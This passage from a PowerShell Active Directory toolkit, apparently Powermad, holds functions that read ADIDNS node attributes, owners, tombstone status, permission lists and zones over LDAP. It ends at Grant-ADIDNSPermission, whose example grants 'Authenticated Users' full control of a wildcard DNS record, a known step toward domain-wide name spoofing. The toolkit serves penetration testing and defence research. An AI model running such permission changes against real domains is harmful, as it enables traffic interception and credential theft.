[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$output = $directory_entry.InvokeGet($Attribute)
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function Get-ADIDNSNodeOwner
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can returns the owner of an ADIDNS Node.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can returns the owner of an ADIDNS Node.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to read the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the owner of a node named test.
|
||
|
Get-ADIDNSNodeOwner -Node test
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$output = $directory_entry.PsBase.ObjectSecurity.Owner
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function Get-ADIDNSNodeTombstoned
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can determine if a node has been tombstoned.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently
|
||
|
tombstoned.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The ADIDNS node attribute.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to read the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the dnsRecord attribute value of a node named test.
|
||
|
Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned')
|
||
|
$dnsRecord = $directory_entry.InvokeGet('dnsRecord')
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
|
||
|
if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and
|
||
|
$_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*')
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
$directory_entry.Close()
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
$node_tombstoned = $false
|
||
|
|
||
|
if($dnsTombstoned -and $dnsRecord)
|
||
|
{
|
||
|
|
||
|
if($dnsRecord[0].GetType().name -eq [Byte])
|
||
|
{
|
||
|
|
||
|
if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0)
|
||
|
{
|
||
|
$node_tombstoned = $true
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
return $node_tombstoned
|
||
|
}
|
||
|
|
||
|
function Get-ADIDNSPermission
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function gets a DACL of an ADIDNS node or zone.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can be used to confirm that a user or group has the required permission
|
||
|
to modify an ADIDNS zone or node.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to enumerate the DACL.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS node or zone.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the DACL for the default ADIDNS zone.
|
||
|
Get-ADIDNSPermission
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the DACL for an ADIDNS node named test.
|
||
|
Get-ADIDNSPermission -Node test
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Node)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry_security = $directory_entry.psbase.ObjectSecurity
|
||
|
$directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
|
||
|
$output=@()
|
||
|
|
||
|
ForEach($ACE in $directory_entry_DACL)
|
||
|
{
|
||
|
$principal = ""
|
||
|
$principal_distingushed_name = ""
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount])
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
|
||
|
if($ACE.IdentityReference.AccountDomainSid)
|
||
|
{
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>",$Credential.UserName,$credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>"
|
||
|
}
|
||
|
|
||
|
if($directory_entry_principal.Properties.userPrincipalname)
|
||
|
{
|
||
|
$principal = $directory_entry_principal.Properties.userPrincipalname.Value
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$principal = $directory_entry_principal.Properties.sAMAccountName.Value
|
||
|
$principal_distingushed_name = $directory_entry_principal.distinguishedName.Value
|
||
|
}
|
||
|
|
||
|
if($directory_entry_principal.Path)
|
||
|
{
|
||
|
$directory_entry_principal.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
$PS_object = New-Object PSObject
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal
|
||
|
|
||
|
if($principal_distingushed_name)
|
||
|
{
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name
|
||
|
}
|
||
|
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags
|
||
|
Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags
|
||
|
$output += $PS_object
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
|
||
|
if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*")
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function Get-ADIDNSZone
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can return ADIDNS zones.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will
|
||
|
contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed
|
||
|
to the Partition parameter for other Powermad ADIDNS functions.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to read the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
(DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this
|
||
|
function will loop through all three partitions.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone to serach for.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get all ADIDNS zones.
|
||
|
Get-ADIDNSZone
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "",
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Partition)
|
||
|
{
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$partition_list = @("DomainDNSZones","ForestDNSZones","System")
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$partition_array = $DistinguishedName.Split(",")
|
||
|
$partition_list = @($partition_array[0].Substring(3))
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$partition_list = @($Partition)
|
||
|
}
|
||
|
|
||
|
ForEach($partition_entry in $partition_list)
|
||
|
{
|
||
|
Write-Verbose "[+] Partition = $partition_entry"
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($partition_entry -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "CN=$partition_entry"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$partition_entry"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry)
|
||
|
|
||
|
if($Zone)
|
||
|
{
|
||
|
$directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_searcher.filter = "(objectClass=dnszone)"
|
||
|
}
|
||
|
|
||
|
$search_results = $directory_searcher.FindAll()
|
||
|
|
||
|
for($i=0; $i -lt $search_results.Count; $i++)
|
||
|
{
|
||
|
$output += $search_results.Item($i).Properties.distinguishedname
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function Grant-ADIDNSPermission
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function adds an ACE to an ADIDNS node or zone DACL.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
Users that create a new DNS node through LDAP or secure dynamic updates will have full
|
||
|
control access. This function can be used to provide additional accounts or groups access to the node.
|
||
|
Although this function will work on DNS zones, non-administrators will rarely have the ability
|
||
|
to modify an ADIDNS zone.
|
||
|
|
||
|
.PARAMETER Access
|
||
|
Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
|
||
|
DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
|
||
|
ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to modify the DACL.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS node or zone.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Principal
|
||
|
The user or group that will be used for the ACE.
|
||
|
|
||
|
.PARAMETER Type
|
||
|
Default = Allow: The ACE allow or deny access type.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Add full access to a wildcard record for "Authenticated Users".
|
||
|
Grant-ADIDNSPermission -Node * -Principal "authenticated users"
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
